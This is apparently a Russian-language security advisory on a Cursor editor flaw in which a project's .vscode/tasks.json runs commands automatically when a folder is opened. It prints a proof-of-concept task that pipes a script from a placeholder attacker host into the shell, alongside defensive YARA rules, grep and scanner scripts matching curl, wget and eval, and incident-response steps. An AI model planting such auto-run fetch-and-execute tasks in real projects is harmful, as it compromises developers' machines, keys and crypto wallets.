Назад к списку

Уязвимость Cursor AI — риск кражи криптовалюты

Уязвимость Cursor AI — риск кражи криптовалюты

Краткий план действий

  • Что случилось: В AI-редакторе Cursor обнаружена критическая уязвимость, позволяющая выполнить произвольный код (RCE) при открытии вредоносной папки проекта.
  • Кто затронут: Пользователи Cursor версий до 0.34.4. Особый риск для Web3-разработчиков.
  • Срочные действия для разработчика:
    1. Обновите Cursor до версии 0.34.4 или новее.
    2. Включите Workspace Trust в настройках безопасности.
    3. Просканируйте проекты на наличие подозрительных файлов tasks.json.
    4. Ротируйте ключи и токены, если открывали недоверенные проекты.

Введение

В январе 2024 года команда кибербезопасности SlowMist сообщила о критической уязвимости в Cursor — популярном AI-редакторе кода. Проблема позволяла злоумышленнику выполнить произвольный код на машине разработчика через стандартную функцию «Open Folder». Эта уязвимость превратила инструмент для повышения продуктивности в вектор для атак, направленных на кражу API-ключей, данных и криптовалютных активов.

Хронология и технические детали

Уязвимость возникла из-за унаследованной от VS Code функции автоматического выполнения задач, которая в старых версиях Cursor была включена по умолчанию без должных мер предосторожности.

  • 8 января 2024 г. — отчет SlowMist: эксперты продемонстрировали PoC-атаку, показав, как команда, заложенная в файл .vscode/tasks.json, исполняется при открытии проекта.
    Источник: отчет SlowMist.
  • 9 января 2024 г. — выпуск патча: Anysphere, компания-разработчик Cursor, выпускает версию 0.34.4, в которой по умолчанию включена функция Workspace Trust, предотвращающая автоматическое выполнение кода.
    Источник: changelog релиза 0.34.4.

На момент публикации для этой уязвимости, связанной с tasks.json, не был присвоен отдельный идентификатор CVE. Проверка в базах данных NVD и Mitre не выявила соответствующей записи. Проблема является унаследованной от архитектуры VS Code и была решена внедрением функции Workspace Trust, а не исправлением конкретного бага в коде Cursor.

Затронутые версии

СтатусВерсииДата выпуска патчаСсылка на релиз
УязвимыВсе версии до 0.34.4
Безопасны0.34.4 и новее9 января 2024 г.GitHub Releases

Технический вектор атаки и Proof-of-Concept (PoC)

Атака эксплуатирует механизм автоматического выполнения задач, настроенный в файле .vscode/tasks.json внутри проекта. При открытии такой папки в уязвимой версии Cursor редактор автоматически исполнял прописанные команды без подтверждения от пользователя.

ОПАСНО: НЕ ЗАПУСКАТЬ В РАБОЧЕЙ СРЕДЕ
Приведенный ниже пример — демонстрация вектора атаки. Никогда не запускайте команды из недоверенных источников. Даже простое открытие папки проекта в уязвимой среде может привести к автоматическому выполнению вредоносного кода и полной компрометации системы.

Пример вредоносного файла .vscode/tasks.json:

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "install dependencies",
      "type": "shell",
      "command": "curl -s http://attacker-example[.]com/payload.sh | sh",
      "runOptions": { "runOn": "folderOpen" }
    }
  ]
}

Здесь команда curl загружает и исполняет вредоносный скрипт с сервера злоумышленника в момент открытия папки проекта.

План действий: защита и реагирование

Шаг 1: Немедленные действия (в течение часа)

  1. Обновите Cursor AI. Немедленно установите последнюю версию (0.34.4+) с официального сайта cursor.sh или со страницы релизов.

  2. Проверьте целостность релиза. Перед установкой убедитесь, что скачанный файл не был подменен.

    • Linux/macOS:

      sha256sum -c sha256sums.txt --ignore-missing
      
    • Windows (PowerShell):

      (Get-FileHash 'Cursor.Setup.exe').Hash.ToLower() -eq (
        (Get-Content 'sha256sums.txt' | Select-String 'Cursor.Setup.exe').ToString().Split(' ')[0]
      )
      
  3. Включите Workspace Trust. Эта функция, унаследованная от VS Code, предотвращает автоматическое выполнение кода из недоверенных проектов. В Cursor аналогичная настройка.

    • GUI: перейдите в Settings → Security → Workspace Trust и убедитесь, что опция включена.

    • settings.json: установите флаг:

      "security.workspace.trust.enabled": true
      

      Подробнее о функции можно прочитать в документации VS Code.

  4. Проведите аудит проектов. Используйте скрипты из раздела «Автоматизированная проверка» для сканирования локальных репозиториев на наличие подозрительных tasks.json.

  5. Ротируйте ключи. Если вы открывали подозрительные проекты, немедленно смените все API-ключи (AWS, Google Cloud, OpenAI), пароли, SSH-ключи и токены доступа.

Шаг 2: Долгосрочная защита

  1. Изолируйте окружения. Используйте отдельную, изолированную среду (виртуальная машина, контейнер Docker) для работы с кодом из непроверенных источников.
  2. Принцип минимальных привилегий. Запускайте инструменты разработки от имени пользователя с ограниченными правами.

Индикаторы компрометации (IOCs)

Файловые индикаторы

  • Пути: ищите файлы tasks.json с подозрительным содержимым в папках .vscode/ внутри ваших проектов.

  • Поиск с помощью grep:

    # Поиск файлов tasks.json, содержащих опцию автозапуска "folderOpen"
    # Замените /path/to/projects на путь к вашим проектам
    
    find /path/to/projects -type f -name "tasks.json" -exec grep -l '"runOn": "folderOpen"' {} +
    
    # Поиск подозрительных команд (curl|sh, wget, eval, base64)
    
    find /path/to/projects -type f -name "tasks.json" -exec grep -H -E 'sh -c|eval\(|curl|wget|base64\s-d' {} +
    
  • YARA-правило для tasks.json:

    rule Suspicious_Cursor_Tasks_Json {
      meta:
        description = "Detects tasks.json configured to run on folderOpen with suspicious commands"
        author      = "Threat Research Team"
        date        = "2024-01-15"
    
      strings:
        $file    = "tasks.json" nocase
        $run_on  = /"runOn"\s*:\s*"folderOpen"/
        $cmd_curl = /"command"\s*:\s*".*(curl|wget).* (sh|bash|zsh)\s*"/
        $cmd_eval = /"command"\s*:\s*".*eval\s*\(.*\).*/ 
    
      condition:
        uint32(0) == 0x7B227665 and // fast check for "{\"ve"
        $file and $run_on and 1 of ($cmd*)
    }
    

Сетевые индикаторы

Подозрительные домены: DNS-запросы к доменам на бесплатных хостингах или динамических DNS (например, *.ddns.net, *.no-ip.com, *.xyz, *.top).

  • Анализ трафика: ищите исходящие соединения от процессов node, python, sh, bash, запущенных дочерними процессами от Cursor.

  • Linux/macOS:

    sudo ss -tulpn | grep -E 'node|python|sh'
    
  • Windows (PowerShell):

    Get-NetTCPConnection -State Established |
      Where-Object {
        ($proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue) -and
        ($proc.ProcessName -in 'node','python','sh')
      }
    

Автоматизированная проверка рабочих каталогов

Используйте эти скрипты для массового сканирования проектов на наличие вредоносных tasks.json.

Инструкция:

  1. Сохраните скрипт в файл (например, scan.sh или scan.ps1).
  2. Запустите его, указав путь к корневой папке с вашими проектами.
  3. Важно: если скрипт найдет подозрительные файлы, не открывайте эти проекты. Анализируйте их в изолированной среде.

Скрипт для Linux/macOS (Bash):

#!/bin/bash

SEARCH_DIR="${1:-.}"
echo "Scanning for potentially malicious tasks.json in '$SEARCH_DIR'…"

find "$SEARCH_DIR" -type f -name "tasks.json" | while read -r file; do
  if grep -q '"runOn": "folderOpen"' "$file" &&
     grep -q -E 'curl|wget|bash -c|sh -c|eval|base64' "$file"; then
    echo "!!! SUSPICIOUS FILE DETECTED: $file"
  fi
done

echo "Scan complete."

Скрипт для Windows (PowerShell):

param (
  [Parameter(Mandatory = $true)]
  [string]$Path
)

Write-Host "Scanning for potentially malicious tasks.json in '$Path'…"

Get-ChildItem -Path $Path -Recurse -Filter "tasks.json" -File | ForEach-Object {
  $content = Get-Content $_.FullName -Raw
  if ($content -match '"runOn":\s*"folderOpen"' -and
      $content -match '(curl|wget|bash -c|sh -c|eval|base64)') {
    Write-Host "!!! SUSPICIOUS FILE DETECTED: $($_.FullName)" -ForegroundColor Red
  }
}

Write-Host "Scan complete."

Рекомендации для команд безопасности и DevOps

  • Интеграция в CI/CD. Добавьте шаг в CI-пайплайн, который сканирует репозиторий на наличие tasks.json с runOn: folderOpen.

    Пример для GitHub Actions:

    - name: Scan for dangerous tasks.json
      run: |
        if find . -type f -name "tasks.json" -exec grep -q '"runOn": "folderOpen"' {} +; then
          echo "::error::Dangerous 'runOn: folderOpen' found in tasks.json!"
          exit 1
        fi
    
  • Pre-commit hooks. Внедрите локальные pre-commit-хуки для выполнения аналогичной проверки перед коммитом.

  • Политики для репозиториев. Настройте CODEOWNERS в GitHub, чтобы изменения в .vscode/ требовали обязательного ревью от команды безопасности.

  • EDR/IDS-правила. Создайте правила для мониторинга и оповещения, когда процесс редактора порождает дочерние процессы curl, wget или sh -c.

Форензика и реагирование на инцидент

  1. Изолируйте машину. Немедленно отключите ее от сети. Не выключайте питание, чтобы сохранить данные из оперативной памяти (RAM) для анализа.
  2. Соберите артефакты (для профессионалов):
    • Образ RAM: используйте FTK Imager или Belkasoft RAM Capturer.
    • Системные логи: Event Viewer (Windows), /var/log/ (Linux), ~/Library/Logs/ (macOS).
    • Логи Cursor: %APPDATA%\Cursor\logs (Windows), ~/.config/Cursor/logs (Linux), ~/Library/Application Support/Cursor/logs (macOS).
    • Процессы и соединения: сохраните вывод ps aux и sudo ss -tulpn (Linux/macOS) или Get-Process и Get-NetTCPConnection (PowerShell).
  3. Обратитесь к специалистам. В корпоративной среде свяжитесь с командой по реагированию на инциденты (IR/CSIRT).

Что делать со скомпрометированным криптокошельком

ПРЕДУПРЕЖДЕНИЕ: не действуйте поспешно. Злоумышленники используют автоматические скрипты (sweeper bots), которые мгновенно крадут любые поступающие на скомпрометированный адрес активы (например, ETH для оплаты газа).

  1. Не пополняйте скомпрометированный кошелек. Любые средства для оплаты комиссии будут немедленно украдены.
  2. Создайте новый кошелек на гарантированно чистом устройстве. Идеальный вариант — аппаратный кошелек (Ledger, Trezor).
  3. Спланируйте спасение активов. Для вывода токенов потребуется опередить бота. Используйте сервисы приватных транзакций, такие как Flashbots, чтобы отправить транзакцию напрямую майнеру/валидатору, минуя публичный мемпул. Это сложная процедура, требующая помощи специалистов.
  4. Сообщите биржам и аналитическим сервисам. Если средства были выведены на централизованную биржу, немедленно свяжитесь с ее службой поддержки, предоставив TxID и адреса злоумышленников.
  5. Никогда не используйте скомпрометированный кошелек снова. Откажитесь от него навсегда.

Заключение

Инцидент с Cursor — это важное напоминание, что удобство AI-инструментов не должно достигаться ценой безопасности. Ответственность за защиту данных лежит на каждом разработчике. Обновляйте ПО, включайте защитные механизмы, такие как Workspace Trust, и относитесь к любому загруженному коду как к потенциально опасному.

Если вы обнаружили уязвимость, ответственно сообщите о ней разработчикам по адресу security@anysphere.co или через SECURITY.md в репозитории проекта.

Теги

cursor ai vulnerability
remote code execution rce
cryptocurrency theft risk
web3 security
vs code tasks.json exploit